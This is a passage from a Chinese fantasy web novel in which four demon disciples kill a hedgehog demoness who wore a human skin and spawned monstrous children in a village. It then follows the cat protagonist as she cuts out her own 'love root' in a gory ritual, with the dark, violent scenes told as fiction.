没了小孩，他心里好像有放松一点，也有余力给自己疗伤了。这么自愈了一会，胡和烈忽然察觉不对劲：按照猫平时的习性来讲，顶多给他止个血就算“办好了”，现在他血已经止住了，怎么还给他输送法力呢？
虎头蜂嗅到阴谋的味道，正巧叶米看他恢复得差不多了，便收了法术，轻轻舒出口气。
胡和烈这时候才瞧见她手上流着血的两根手指，心道她也受伤了啊，而且瞧她模样，似乎毫不在意的，连血都不止一下……但却帮他疗伤了……胡和烈感到一丝不情愿的感动：“……多谢你们了。”
谢珍珠累得直喘气，靠着墙摆手：“胡大哥你没事就好，不用谢的，我在其他地方也帮不上什么忙……”
“不客气，”叶米点点头说，“你现在觉得好多了？”
“……嗯。”
叶米：“那还不快起来跟我去对付那女妖？她吸了许多精气，身上长满了坚硬的棘刺，我看用你的绣花针来对付正合适。”
胡和烈：。
他那么一点点的感动很轻易就烟消云散了，心想果然这只猫就是无利不往的，要不是有他派上用场的地方，胡和烈怀疑就是自己十月怀胎把孩子生了她也只会在边上八卦一句问是男是女！
“知道了！”
战斗力恢复后的胡和烈和女妖对打是绰绰有余的，正巧他的螫针也能穿破女妖的棘刺，一物降一物，杀了女妖不少嚣张的锐气；另一边，叶米伙同谢珍珠和万情贞开始了入室抢小孩的行当，解决了不少衍生怪。
不一会儿，等地上全是小孩的尸体、还有尸体上扑着的悲痛欲绝的孩子爹娘的时候，女妖也被逼到了穷途末路。
她两只手臂上的棘刺已经被胡和烈砍得差不多了，伤口密密麻麻地布满了她的手臂，每一个□□都从黑色的衣袖下溢出不明显的血来，将布料浸泡得沉甸甸的，让她做动作都不太顺畅。
叶米瞥了呀战况，随手解决了一个哭喊的小孩，飞身来到了女妖的后侧，和胡和烈二人前后夹击着伤痕累累的女妖。
“村里的小孩都要死光了。”叶米看她挺不起背的模样，轻轻笑道，“总算要轮到你，准备好受死没？”
“哼……”女妖哼笑一声，肩膀有轻微的抖动，“死就死吧，瞧见他们这样惨状，我也够高兴了。”
这么说着，她不等二妖动手，双手一张，迎面生起的妖风吹得她头发在空中交缠挣扎，像里头困住了什么的蚕茧；她背上的棘刺被砍断不少，显得凹凸不平、并无美感。仔细一看，每一个完整或是断掉的刺头尖上开始冒出古怪的黑色浓液。
叶米眯眼一看，看不分明：“那是什么？”
胡和烈转了转螫针，不太在意：“管她是什么，不过是临死前的挣扎。”
话是这么说，他盯得也紧，只见那黑色浓液溢得越来越多，随着液滴越来越大，每一个里头似乎都有了生命，开始小幅度地晃动起来，变得更大些时，就像小孩在肚皮里拳打脚踢，长大的速度也越来越快。
几十上百的棘刺上都出现这种现象，密密麻麻的看得让二妖头皮发麻，叶米决定要出手解决这些恶心的玩意，可她一逼近，那女妖“哈哈”大笑两声，一飞而起，整个人在空中“砰”地爆炸开来，那上百个黑色液滴猛然涨大，随着爆炸的冲击朝四面八方弹射出去。
她在自爆，看来是打算临死前恶心他们一下。
血肉和黑液像雨水一般落下，让人避无可避，叶米暗骂一声，闪身到一边的屋檐下，周遭的百姓也发出惊悚的叫声，直觉淋到了这诡异的“雨”会发生什么不好的事，纷纷躲到哪里避让。
红与黑的雨水之间，她瞧见有一张人皮在空中飘飘荡荡、要落不落，叶米盯着它要飘去哪，打算等雨停了再去，视线朦胧之间好似瞧见有什么棕黑色的东西从人皮下钻出来，似要逃走，叶米毫不犹豫地放出法术击中。
那东西瞬间一动不动了，落到地上的一汪血水坑里。
叶米眉头一挑，还是没看清那是什么东西，忽然眼前有一道身影闪过，是胡和烈飞过去将人皮截下了。
雨很
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快就停了。
叶米瞧见谢珍珠和万情贞往这边跑来，她没等他们，先去了胡和烈边上，看见他正在把人皮放在地上铺平，人皮边上不远处，有一个棕黑色的小东西，就是她刚刚打下来的。
叶米手一伸，那东西就飞而来过来落到她手上，原来是一只小刺猬，已经死得透透的了，翻过来一看，背上的棘刺不剩几根完好的。
她这才了然：“原来不是豪猪……是刺猬。”
“居然是刺猬精。”万情贞赶过来，气喘吁吁地擦了把汗，“原形这么小啊，它可把我们搞得够呛……我去，这人皮是怎么回事！”
叶米：“这是刺猬精穿的人皮。”
谢珍珠有些不敢看这可怖的东西，浑身的鸡皮疙瘩散不下去，愤愤道：“这刺猬精果真走的是歪门邪道，自己不好好修炼人形就算了，还作弊抢凡人的皮肉滥竽充数！”
胡和烈立起身来，拍拍手上的皮屑，打了个响指后，那人皮像被吹了气一般鼓了起来，在万情贞惊悚的注目下站起而起，从背影看就像是一个正常人，但一看她没了两颗眼珠子的空洞双眼，就知道皮里头啥也没有。
因为皮上先前长了许多刺，现在棘刺没了，徒留下无数的小洞，人皮里的气没一会儿就“噗嗤”地从这些洞中散走了，眼见皮又要坍塌下来，胡和烈又给它吹了一次，然后转头问站得远远的一干村民：
“这姑娘可是你们村里的人？”
这帮村民现在各有各的狼狈，灰头土脸、散着头发，染着血腥的都不在少数，唯有秋村长和扶着他的孙女还看得过去，两人站在人群前边，也没靠近，表情和身后的村民们是出奇的相似，警惕和害怕。
这也能理解，毕竟是人皮嘛。
“……没见过这位……姑娘。”秋村长似乎鼓起勇气看了眼，摇了摇头道。
万情贞便说：“那估计是从哪里捡来的？”
胡和烈想想也是，既然没人认识，他便任由人皮散去气体，重重叠叠地堆落在地上。
叶米瞅了眼村民，明明有些人害怕的目光是忍不住往人皮上打量的……她忽然想到什么，弯下腰来抓住人皮的肩膀处将其拉直，几下褪去人皮身上破破烂烂的衣服，露出里头最原始的皮肉。
“啊……”在一旁看着的谢珍珠发出小声地惊呼，“它也有……”
叶米“嗯”了一声，又把衣服给人皮穿上了，手从它的腰部下穿过去提了起来，那人皮就像一件长裙挂在她的手臂上了，她和几妖道：
“刺猬精已死，我现在要去她洞穴里取断魂草。你们留下来解决村里的余孽，尤其是刚刚这妖精自爆时飞出来的那些肉块……对了，只杀了小孩是不够的，还有些女子估计肚子里还怀着。这些衍生怪长大之后会变得如何我不知道……”
她是越说越轻描淡写：“反正我们的任务已经完成，不必强求他们交代出所有衍生怪的下落，之后的事就看他们自己的造化。”
33. 第 33 章
话是这么说没错……
但怎么听她说出来就有些翻脸不认人的无情味道？
“怎么？”她见没人应和，阴阳怪气地笑道，“你们还想怎么劝那些顽冥不灵的人？跪下来求？缠着他们不放？”
那倒也不是哈。
“其实我们能做的都做了。”要是说谢珍珠先前有百分百的同情，在经历刚刚那一场闹剧后，只剩下精疲力竭了，她觉得好累啊，“已经算仁义尽致了……而且有些人家生了不止一个的、或是肚子里还怀着的……我们也分不出来啊。”
“猫大人说得对。”就连万情贞也这么说，“就这么办吧。”
他说话了，胡和烈才给书灵一个眼神，这一看还吓了一跳：“你怎么搞成这样？他们打你了？”
从头到尾破破烂烂乱七八糟的万情贞搓搓被撕烂的衣袖下的手臂，露出苦涩的笑容：“不是……也差不多，误伤误伤。有些人见孩子爹娘舍不得杀，就往家里拿菜刀出来说要帮忙，双方就打起来了呗，拿着刀多危险啊，我总得拦一拦。”
“哼。”叶米见他这糗样，勾起一边嘴角笑了一声，“怪不得刚刚答应得这么爽快，看来还是要你体会到这些凡人的厉害之处，才知道不该浪费自己无用的同情。”
无用的同情……怎么不算呢？
万情贞叹了口气：“猫大人，你说得是。他们确实厉害，自己的孩子一死，就是再痛彻心扉，也会马上升起拉别人一起下水的恨意……其实都是那女妖害的，但他们好像不那么恨她，这是为什么？”
“我怎么知道。”叶米哪里有闲情去管这些人的心情，“我去找断魂草，你们善后。”
“好……”
叶米手上挂着刺猬精的皮囊，一路飞到了白骨林，熟门熟路地进了她生前的洞穴，这一次就不太客气了，进了之后也不随手关门。她将皮囊放到里头的罗汉床上铺好，像是在铺被一般铺平了。
还有很多没开的房间，刚结束恶战的叶米扭扭脖子，感到一丝心累，但还是抓紧时间踹门去了，毕竟找断魂草是私事，她可不能耽误太久。
不知道躲过了几扇暗藏棘刺的门，叶米又开到一扇里头堆了许多畸形肉块的屋子，这次和上次有些不同，这些肉块们发出了哀哀戚戚的哭喊声，对叶米似乎没有攻击的意图。
叶米便有些奇怪，见它们往门外爬出来，还好心地让开了位置，只见几十只衍生怪纷纷往罗汉床的方向爬去、滚去，被挤着去，最后都挨到那层人皮边上，吱吱哇哇地哭叫着，听得让人头疼。
猫迟钝地想到这是一种哭丧。
这些玩意儿也会哭丧啊……她有些感慨，然后手一挥，那一堆东西就了无生息了。
她很快就翻遍了所有的房间，可惜的是没找到断魂草，就在猫不耐烦地打算炸了洞穴的时候，又想到这些房间后边似乎连着密道，那就去密道里逛一圈好了……
结果这密道像迷宫一般曲折反复，她走了几个死路之后就没耐心了，逢死路就炸，砸得整个洞穴摇摇欲坠、岌岌可危。叶米也不慌张，反正她不怕逃不出去。
就这么一路炸了几道墙，叶米敏锐地在碎石飞尘和妖味之间闻到一股奇异的清草味，平静的双眉总算欢喜地上扬了一点，她循着味而去，来到里头一扇石门面前。
推了推——没推开。
那只好炸开了。
这扇石门厚重而高大，炸完之后，有一声沉闷的“轰轰”从洞穴上方的山体中传来，叶米抬头看了看，只瞧见几粒碎石落下，但她明白这是洞穴坍塌前小小的前兆。
她并不着急地穿过被自己炸出来的洞，进到洞府主人藏得最深的屋子里。
这间密室和外面那间差不多大，进来时第一感觉是有些冷，里头还是放着一张红木罗汉床，床左边处摆着一个散发着寒气的青铜箱子，外边裹了一层厚厚的冰层，这冰层应是那妖精用法力维持的，这会儿已经融化了一些，箱子下的榻上有一小滩深色水迹。
对叶米来说，这箱子没有她在墙角发现的几株胡乱长着的断魂草重要，她先把断魂草收入囊中，松了口气后才往箱子走去，这箱子没上锁，叶米轻松地将其打开——
一具小婴儿的尸体，和那些畸形肉块差不多大，像是早产儿的大小，但和肉块有分别的是他挺正常的，就是正常人类小孩的模样，并不畸形；不过也有古怪的地方，这孩子浑身发紫，萎缩的皮肉上的紫色紫得紧绷，像是要溢出来一般。
他闭着眼睛，小嘴微微闭着，表情并不紧张，但四肢小幅度地蜷缩在一起，两只手握成小拳放在胸前，像是所有小孩还在娘胎里的姿势。
叶米换成竖瞳看了看，就是普通小孩。
这小孩是哪来的？她自然而然地冒出一些想法，和刺猬精穿得那个人皮有关吗？是那层人皮的孩子？
这些问题她其实并不好奇，不过是活络的大脑自然产生的。叶米拿到自己想要的断魂草就够了。
洞穴上方传来的轰轰声越来越大，洞穴将要崩塌，叶米便想把箱子放下就走，就在此时，洞穴狠狠一颤，叶米好险站稳了，低头一看箱子，那孩子也抖了几抖，有一根黑色的绳子从他的襁褓中掉露出来部分。
叶米顺手挑出来一看，原来是一块白色的观音玉牌。
她盯着那块玉牌上雕刻得并不清晰的观音有一会。
“……看在观音大士的份上。”
叶米抱着箱子一路跑出了密道，又抄起先前被她摊在罗汉床上的人皮，飞快地逃离了洞穴，猫离开之后不过几瞬，洞穴上的山丘剧烈地震荡起来，震得整个白骨林摇摇晃晃，树木惊慌，小动物们胡乱逃窜、胆小的躲进自己的窝里。
离案发现场最近的叶米却没跑远，一手箱子一手人皮地站在不远处的一棵树上看着山丘崩塌，树晃得厉害，她倒是站得很稳。
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>“哐——”
这是最后一声，山体压垮了洞穴，飞蹦出大大小小的碎石，有些落到边上的小溪里，更多的飞到森林中不见了踪影。一片废墟的灰尘弥漫在空中难以散去，叶米也被呛了两声咳嗽。
等一切尘埃落定，她找了处平坦的地面将人皮放在地上摊开，然后开始对折起来，直到对折到合适的大小，才将其放入青铜箱子中，盖在箱中婴儿的身上。
这样就差不多了。
叶米抱起箱子，最后看了眼这片灌木丛后不复存在的洞府，周遭的妖气和结界已经散去，先前被遮蔽的阳光试探地透过树叶树枝洒进来，落在小溪上熠熠发光，就算边上是一片废墟，也透着股新生的朝气。
这真是一块不错的栖息地，叶米想，不知道下一位入住这儿的妖精是谁。
她最后瞅了一眼，转身离开了白骨林。
冯紫在秋果寺里过了一天一夜，不知道外边发生了什么——后来她知道了，觉得还不如不知道呢。
寺庙里很安静，她觉得忧心烦闷时就看看庙里的经书，倒是很快地度过了一些时间。今日一早，她在门口一边扫地一边往家的方向望去，眼中有怯怯的期盼和思念，她好想念爹娘和姐姐，还有她的亲亲郎君。
她开始后悔自己的叛逆和自私，明明只要她顺着爹娘的期盼走上村里所有姐姐妹妹的求子之路，现在说不定是在家里安心躺着养胎呢！她非要、非要搞得这么麻烦，弄得爹娘又气又恼，弄得她无家可归……
可是每每后悔时想到这里，冯紫的脑海里又冒出姐姐衣衫下的模样，忍不住打了个寒颤，抽抽涕涕地哭了起来。
她怎么会这么胆小呢？怎么会这么懦弱呢！就算变得和姐姐一样又怎么样？大家都这样，谁也不会嘲笑她的……
谁也不会吗？冯紫不得不想到生产后姐夫对姐姐厌恶的神情，心里惶恐地不安起来，可她又絮絮叨叨地宽慰自己，心想她的郎君才不会这样呢。
……才不会的。
“你在想什么？”
“啊！”冯紫吓了一跳，手中的扫帚落到了地上，打起一排尘土，她转身看向来人，跳得激烈的心脏总算消停一些，“叶姑娘，是你啊……啊对了，你、你来了是不是我能回家了？”
叶米估算了一下：“傍晚再回去吧。”
冯紫露出安心的笑容，甚至不问为什么：“好、好……那我收拾收拾……啊，现在收拾是不是太早了，哈哈……”
她兀自高兴了一会，这才看到叶米手中抱着的青铜箱子，顺口地问：“叶姑娘，这里边是什么？”
“你不会想知道的。”叶米贴心地说，“劳烦你帮我找一处合适埋这箱子的地方，最好是在你们村附近。”
冯紫心中好奇，不过她还是很礼貌的，叶米说“她不会想知道”那她就不想知道好了，她对这附近还算熟悉，领着叶米去了寺庙后一处荒废的小林子里。
34. 第 34 章
“叶姑娘，若是要埋什么不便被人发现的东西的话，可以埋在这小林子里，这片地方的树木早几年被砍光了，新种的还没长起来，近几年这里都不会有人来的……哦，倒是有些人会埋一些猫猫狗狗在里头，怕被人偷了去吃了。”
她忽然发现了什么，轻快地跑过去捡起来，递给叶米道：“瞧，不知道是谁留下的旧铲子。”
叶米左右看了看，确实是个清净的地：“好，就埋在这吧。”
两人挖了一个不深的坑洞，将箱子放下后又把土覆盖上，处理得虽然简陋，好在不会有人在意。
往回走的路上，冯紫又问：“不过……叶姑娘，为什么要埋在秋果寺附近呢？你之后还要回来取吗？”
“不回来了，”叶米说，“那箱子里是上天赐给你们村子的宝贝，自然要埋在你们村子附近。”
“什么？”冯紫脚步一顿，说是宝贝，但看着叶米的表情，她感到不太对劲啊，“是……什么宝贝啊？”
叶米转头朝她微微一笑：“你回村就知道了。”
冯紫：……
叶姑娘这时的笑让她感到更多不安，冯紫想，她好像不是在对她笑？为什么笑得那么……不让人舒服呢？
她小步跑跟上叶米，有些不自在道：“既、既然是宝贝，那定是好东西吧？”
“彼之砒霜，吾之蜜糖。看你这么想。”
“……我该怎么想呢？”
“你还挺烦的。”
“……”
离开秋果寺之前，叶米还去里头拜了拜，顺走了冯紫昨天带来的供品。她实在是又饿又累，想来观音娘娘会体谅她的。
日落之前，四妖总算离开了秋果村。按理来说都要天黑了，他们又个顶个的劳累，在村里过个夜再走才合适，但谁也没提出要留下。
走出村，一开始胡和烈还在抱怨村民的不配合，说什么妖怪死了之后，他们把家里的小孩藏得严严实实的，问谁怀孕了也是一问三不知，好像一夜之间不认识自己的肚子了。
叶米嫌他吵，往他嘴里塞了桃子堵嘴，又给谢珍珠和万情贞分了吃的。
谢珍珠也饿得发慌，连忙接过来：“这是哪来的呀？”
“观音大士送的。”
“观音娘娘慈悲！”
“不过……”万情贞一边吃香蕉一边问，“刺猬精死了，但那些衍生怪没除干净，会怎么样呢？”
叶米啃桃子：“你想知道？”
“想啊想啊。”
“那你留下来等他们长大好了。”
万情贞拨浪鼓摇头：“不了不了不了！”
四妖迎着夕阳，一边吃瓜果一边走着，偶尔闲谈几句，气氛融洽得稀罕。
秋果村之后会怎么样？也许只有留在秋果村的人知道了。冯紫跑一段歇一段地回到村里，扑面而来满鼻子的血腥臭味，地上一块黑一块红的，她不知道是什么东西，只是突然地就脑子一懵，心脏晃啊晃的。
村里……发生什么了？
“冯紫？”
冯紫转过头，看见村长家的秋小姐，她怀里抱着一个孩子，正在不停地哭闹着，冯紫知道这是她半年前刚生下的儿子，村长宝贝着呢：“啊……秋小姐。”
秋小姐朝她笑了笑，笑容掩不住疲惫：“你上哪去了？快回家去吧，你姐姐刚刚还来我这里问你呢。”
“好、好……”
冯紫懵懵地应了一声，离开前又被那孩子的哭声吸引过去，随意一看就转头走了，心里不自觉又想起来：
话说她之前就觉得这孩子长得和秋小姐没有一处相似……可能像他爹吧。
*
今晚注定要风餐露宿。
夜深之后，几妖找到一处依树傍湖的平台空地，把身上的行李随便一扔，胡和烈飞到树上找舒服的位置躺着，谢珍珠去湖边喝了几口水，又觉得不够，干脆变成原形泡在里头休养生息。
叶米找了块干燥的地铺了毯子，化身成猫往上边一窝，也算是舒服。
万情贞第一次看见猫的原形，见叶米眯着眼睛休憩，便很小心地凑近瞧了瞧，打量来打量去，感觉和普通的猫也没什么分别嘛？就是大街上随处可见的那种，哪里想到这只丢入猫群中根本不起眼的猫会这么厉害呢？
叶米没睁眼睛：“你在看什么？”
万情贞被她突然说话吓得抖了一下：“我、我在欣赏猫大人的英姿。”
“哼。”
“猫大人，你的原形一看就是了不得，匀称、矫健，有力！看看这猫腿上的肌肉多么发达！瞧瞧这粗硬的毛发多么威武！还有这猫爪，啧啧啧，圆润扁大，一看就揍妖很疼！”
叶米闭着的眼皮底下翻了个白眼：“边上歇着去。”
“得嘞！”
万情贞害怕有危险，不敢离猫和虎头蜂太远，便在他俩中间的位置随便一躺，枕着胳膊看星星。这一看就有些想家了，先前觉得月老宫中多么无聊，天天陪着老头子看话本、写话本，哪里有意思呢？
下了凡之后其实也不那么有意思，为了不暴露自己的行踪，他将真身藏到真情宝盒中，这也将他困在了多情塔里，虽说能窥探塔边上的几个村落，乱点一些鸳鸯谱，但拉郎配拉来拉去也就那么回事，不知道是不是舞台太小，他渐渐也觉得没意思了。
现在好了，能出来了，日日都有新的危险，真是一点也不无聊了。
万情贞苦笑一声，看着月亮闭上眼睛。
一连窜泡泡飘出水面绽放，螃蟹冒了个头，瞧见岸上静悄悄的，偷摸着上了岸，横七竖八地跑到猫的毯子边上躺下，这才感到一些安心。
刚刚她一闭上眼，脑海里就忍不住回想起在秋果村“你杀我孩子我杀你孩子”的血腥场景；或是那些孩子变成怪物后皮肉脱离、皮肉里蠕动着什么的可怖模样；她在人群中无助地让两对互杀对方孩子后又要砍死对方的夫妻冷静点，换来几个埋怨她的仇恨眼神……
谢珍珠只是想做做好事、斩妖除魔，不知道为什么会变成这样。
她应该是害怕那个穿了人皮的刺猬精的，但脑海里都是村民们的画面，心里越发觉得恐怖，自己一妖孤零零地潜在她
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最喜欢的水里也感到不安，想想还是靠着猫好一些。
猫虽然冷酷无情一些，但不会像人类一样情绪不定地发疯，前一秒还可怜兮兮地求他们留下来救人，为保护自己的孩子不肯说实话，下一秒就……唉。
谢珍珠悄无声息地叹了口气，心中有许多还没消化的情绪。
天蒙蒙亮时，叶米就醒了，睁眼先是看到湖面上游着的水色雾气，太阳还没出来，一切看起来都冷飕飕的；再一转眼，就看见搭在自己毯子上的一只蟹钳，螃蟹精睡得腮冒泡。
不是在水里睡的？怎么跑到这来了，算了，也不是什么值得问一嘴的事。叶米收起毯子，拎着包裹走到湖边坐下，透过雾色的湖面看见自己凌乱的枯黄头发，随手打理了一下。
洗脸的时候感觉到脸上有几丝疼痛，叶米睡意未散地想大概是昨天打架的时候弄的伤口，等洗完脸清醒许多之后，她一边啃香蕉一边打量着昨天采集来的断魂草。
整体是很普通的杂草，特殊之处在草尖尖是蓝色的，闪着冰冷的幽光，叶米用手指轻轻划了一下，很轻易地被划出了一道伤口。
怪不得能断情根，叶米想。
她回忆了一下之前在百书堂秘术上翻到的记载，卯初是断魂草效果最好的时候，既然如此也没什么可犹豫的，马上开始吧。
断魂草闪着蓝光漂浮在她身前，叶米闭上眼睛静心打坐，双掌横在胸前隔空相对，不多时，她掌心之间就凝聚成一团白金混杂的灵气，并不成型，影影绰绰，交融之中亦有抵抗。
三妖纷纷被灵气波动惊醒，胡和烈从树上跳下来，看见叶米打坐的背影，惊诧地挑了下眉，并未吱声。
谢珍珠和万情贞也凑过来，两张脸上也是紧张的不安。
“猫大人这是、这是在……”
胡和烈眉头微蹙：“她在用断魂草引出情根。”
谢珍珠捂嘴：“这、这么快就要……我都还没准备好接受叶米要断情根的事……”
人家就已经上手了。
“我还没见过断情根的妖欸。”万情贞偷偷摸摸地伸着脖子打量叶米的背影，“得好好看看……”
这么说着，三妖悄无声息地凑近了一些。
叶米专心致志，并不受万界干扰，在断魂草的牵引下，她感到胸口有什么东西开始躁动着要出来，但堵在她的胸口凝滞不前，像是撞了南墙。叶米便感应着那东西的位置，在胸口划出一道深深的口来。
刚体会过剖腹之痛的胡和烈：……
真是个狠猫。
谢珍珠和万情贞虽说没身临其境地体会过，但看着就疼啊！两人挨在一起瑟瑟发抖。
叶米本人倒是没什么反应，她挖了口子之后，很快就有什么东西从她体内窜了出来，叶米半睁开眼一看，这是什么玩意儿呢？就像是血肉做的树枝，一根拇指粗的根衍生出几个分叉枝条，血色之下还有经脉的韧劲。
它探出叶米的身体，似是很新鲜地打量了一下外界的环境，看起来还蛮活泼的。
万情贞看傻了眼：“原来这就是……情根。”
35. 第 35 章
原来这就是情根，叶米想。
她果断地一把抓住伸出来的那部分，情根很有灵性地想跑，但是她抓得紧，没跑掉。叶米不知道它有多长，想着斩草除根，便拉着情根往外边扯，扯的第一下就感觉五脏肺腑尤其是心脏被同步拉扯了一下，力道还不小——
显然是她自己拉的。
同时，一股气血涌上她的喉咙，叶米闭着嘴巴没吐出来，一鼓作气继续扯，越扯越长，越拉越多，一下一下，脑子是轰轰的，但动作丝毫不犹豫，仿佛心脏疼得要炸裂的妖不是她似的。
倒是看得边上三妖捂着心脏瞪着眼睛，吓得气都不敢大气喘。
不管是谁，就算是从来都看叶米不顺眼的胡和烈，这时候心里也很难不佩服了，他当时把螫针戳进自己肚子里的时候都下不了决心，叶米帮了他他还觉得对方是对他心狠乐于看他吃苦头，现在一看——
这姐们是真的觉得往身上挖个洞只要不死就不是事啊！
三妖：震撼。
唯一能证明叶米很疼的大概就是她无法控制的苍白脸色和额头上密密的汗水，汗水从她睫毛上落下，她看着被扯出来的情根，已经有她一只胳膊长了，但是为什么还是扯不完？
叶米疼得要命，她怀疑再拔一下心脏就要被拔出来了，但是再一下、再一下，还是那血色的树枝，好似永远扯不完似的。一鼓作气也有歇气的时候，叶米太累了，忍不住喘了口气，立刻就有哗啦啦的血水从她松开的双唇之间倾泻而下。
谢珍珠被这么多血吓得要晕厥了，又不敢去碰猫：“叶、叶米……怎么还没扯完啊……叶米你没事吧……”
万情贞这时候恍然如梦初醒，连忙跪下来哭道：“猫大人你别再扯了，情根长在五脏六腑之中，绵绵不断、根本扯不完的！”
胡和烈差点没收住踹他的脚：“你怎么不早说！”
万情贞哇哇哭：“我错了，我才想起来的……”
叶米也想骂他，不过这时候要省着点力气，既然扯不完，那就斩断一点是一点，她憋着气用尽最后的力气拔出好长一段情根来，然后一手抓住断魂草，自下而上一挥斩断——
刹那间，一股血从情根的断面奔涌而出，冲溅了她一脸，边上的谢珍珠发出一声尖叫。
叶米低下头，透过被血染红的眼珠子看见剩下的情根缩回了身体里，而她手上那截被砍断的则在迅速收缩枯萎，最后落到地上，化入尘土消失不见。
这样……就算完了？
三妖目瞪口呆，手足无措，不知道该说什么。
唯一淡定的当事猫见完事了，一边吐血一边给自己胸口的伤止血，旁若无妖地撑起身子，开始打坐、调养生息。
谢珍珠回过神来，连忙道：“叶米，我来帮你。”
叶米专心致志地疗伤中，并没有说话，谢珍珠就坐在她边上缓缓给她输送法力；万情贞还自责自己脑子迟钝，也愧疚地坐下来帮她疗伤。
胡和烈也不是冷血无情之妖，虽说他觉得自己怀脏东西的事和叶米脱不了干系，但是也明白真正的错不在她，心里又念着她先前也帮自己疗伤过，哼了一声，还是坐了下来。
在三妖的帮助下，叶米的恢复速度很迅速，不过半个时辰便恢复了五层精气神，心情似乎也很不错，还客气地跟三妖道谢呢。
“太好了，”谢珍珠也很高兴，“拔了情根，叶米就不会喜欢上南公子，一定可以顺利成仙的！”
叶米听得很舒服，点点头说：“那是自然。”
胡和烈刚刚开始就有个疑问：“不过，万情贞你说的情根拔不完是什么意思？那像叶米这样砍断了之后还会再生吗？”
万情贞挠挠脸：“我也说不准，不过断了情根之后定是很难动情的，不动情情根就不会长，应是很难再生了吧？”
叶米问他：“你可有见过断情根之人爱上谁的故事？”
万情贞摇头，目光清澈：“我资历浅，还没写过这么刁钻的故事。”
叶米便满意地点点头：“既然如此便好，我们继续上路吧。”
“啊？”谢珍珠震惊，“叶米，你不歇会吗？你都、都……那样了，吐了这么多血呢。”
“托你们的福，”叶米朝三妖礼貌微笑，“我已经恢复得差不多了，不能再耽误时间了，走吧。”
三妖：……真是拼命。
既然她都说没事了，那大家伙就收拾收拾继续上路。
万情贞走慢几步凑近谢珍珠，小声地问：“喂喂，为什么叶米这么想要成仙啊？你看她，连那个南显成的面都没见着，就已经等不及地去断情根了，这这，也太急切了吧？”
“不知道啊。”谢珍珠摇摇头，也小声回复他，“我在万妖堂也没和叶米说过几句话的。”
“那胡和烈呢？”
“他是和叶米说过许多话，不过都是不好听的；对彼此也熟悉，但熟在打架的招式。”
“……”
万情贞大无语，又问：“叶米在万妖堂里有什么熟稔的妖精吗？”
谢珍珠想了想：“没听过有这么号妖。”
“你知道她给我什么感觉嘛？”万情贞比手画脚着，“好像成不了仙，她就会死似的！”
“你说错了——”
二妖之间猛然冒出一个头，吓了他们一跳，好险没有叫出声，一看原来是胡和烈，只见他摇摇头，勾起一个意味不明的笑道：
“她明明是……成不了仙就要去当祸害。”
谢珍珠：“怎么会呢！”
胡和烈不予解释：“信不信由你。”
谢珍珠和万情贞对视一眼，又不敢去问猫，只好歇了好奇的心。
叶米听到身后的动静，回头一看是胡和烈走上来了，另外两只偷偷摸摸地凑在一起不知道在说什么，她好像隐约听见了自己的名字，便挑眉问道：“你们在说什么？”
胡和烈故意道：“说你坏话。”
叶米不信：“给他们俩装上熊心
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豹子胆都不敢。”
“哈哈哈哈！”胡和烈觉得她说得好笑，大笑起来，“有了熊心豹子胆的妖还会怕猫吗？叶米，像他们熊妖豹妖的，都是各占山头自立为王，甚至不屑于来万妖堂学习仙家法术、争夺成仙名额，真正厉害的妖才不在乎什么虚名。”
叶米知道他在明里暗里说她太执着成仙呢，不过这是既定事实，她并不否认：“熊天生力大威猛，豹生来矫健步快，他们的厉害代代相传，不说百姓闻风丧胆，就连神仙也要忌惮几分，这些妖族自有身份，藐视虚名才更显得他们厉害。”
“而我……和你，”叶米的眼神往谢珍珠身上一抬，“还有她，未成精之前算什么？路边的野猫、树上的扑棱蛾子，桌上的熟螃蟹？”
谢珍珠听到不该听的关键词，吓得一抖：“熟、熟熟螃蟹？？”
“凡人见到野猫不屑一顾，见到猫妖就会屁滚尿流，却胆战心惊地尊称猫妖为猫仙。可见妖精就是比寻常生灵厉害，神仙更比妖精让人忌惮……”
野猫朝扑棱蛾子一笑：“我有说错吗？难道你觉得自已经厉害到不需要在意虚名了，胡小爷？”
胡小爷的脸色好难看，那人家说得这么有道理，他也没办法反驳。
谢珍珠小心凑过来：“什么熟螃蟹呀……”
叶米朝她一笑：“我是说，像螃蟹这种凡人桌上的菜肴也能成精，想想也挺神奇的，上天真有好生之德。”
“是啊是啊。”谢珍珠松了口气，绽开一个笑颜，“我娘亲也经常同我说，我们这一支螃蟹族能成了妖精不被人吃，真是天大的福分。”
还天大的福分。
叶米看她单纯的笑脸，没忍住笑了出来，感觉心情好了不少，挥挥手道：“原来你觉得这样就是天大的福分了，怪不得在练习法术、考核成仙一事上如此懈怠。”
“啊！”谢珍珠还是有点眼力色的，“我我之前虽然懈怠了，但叶米你放心，这段时间我会好好修习法术、努力不给你们拖后腿的。”
万情贞连忙跳出来表真心：“我也是、我也是！”
叶米无所谓一耸肩：“好啊。”
于是四妖继续走着，此时距离下个目的地还有两三日的路程，第二日傍晚，他们包裹里能吃的东西已经被吃完，大道上见不到什么吃的，就连小河小溪的也没了踪影，他们便商量着去附近的林中找一些瓜果。
拎着包裹碍事，四个妖都去也没必要，于是决定让谢珍珠和胡和烈留下来看守行囊，叶米和万情贞去林中找吃的。
天色将黑，空中已不见斜阳，只剩余晖。
这片林子看着没什么特别的，二妖进入其中后，却仿佛入了另一片境地，回头一看，树木之间透进来的光线还是很亮的，里头却暗得昏沉，而且体感似乎更凉飕飕一些。
万情贞被这突然而来的寒冷刺得起了鸡皮疙瘩，恐惧油然而生，他踱着步子靠近叶米道：“猫大人……你有没有觉得这林子……好像有点古怪？”
36. 第 36 章
叶米没觉得有什么古怪的：“我没闻见妖味。”
她往前走了两步，万情贞又紧忙贴过去：“没妖味……要是有鬼呢……猫大人，要不我们一道走吧，别散开了，你看着林子好像也挺大的……”
叶米停下脚步看他：“要不你现在回去，随便换个谁过来。”
那不老丢脸了！要是这林子真没什么名堂，纯粹是他大惊小怪的话，以后这三妖不得把他看扁了？
“不不不，来都来了，哈哈哈……”
叶米见他要逞强，笑了一声没说什么，大步走在前头。万情贞不敢离她太远，说是要分头行动，但还是偷偷摸摸地跟在叶米的不远处，保持自己的视线中总能看到猫的身影。
结果没有找吃的心思了，也不知道继续待在这干什么。
“哎呦。”
脑袋上忽然被砸了一下，万情贞捂着脑袋抬起头来，看见一树的青色果子，他欣喜过望，心想得来全不费工夫，这么多果子够他们四妖吃几天了，连忙大喊道：“猫大人、猫大人，这里有好多果子！”
似有鸟儿腾飞，惊动了树叶，沙沙声和扇翅声后，回应他的是一片安静。
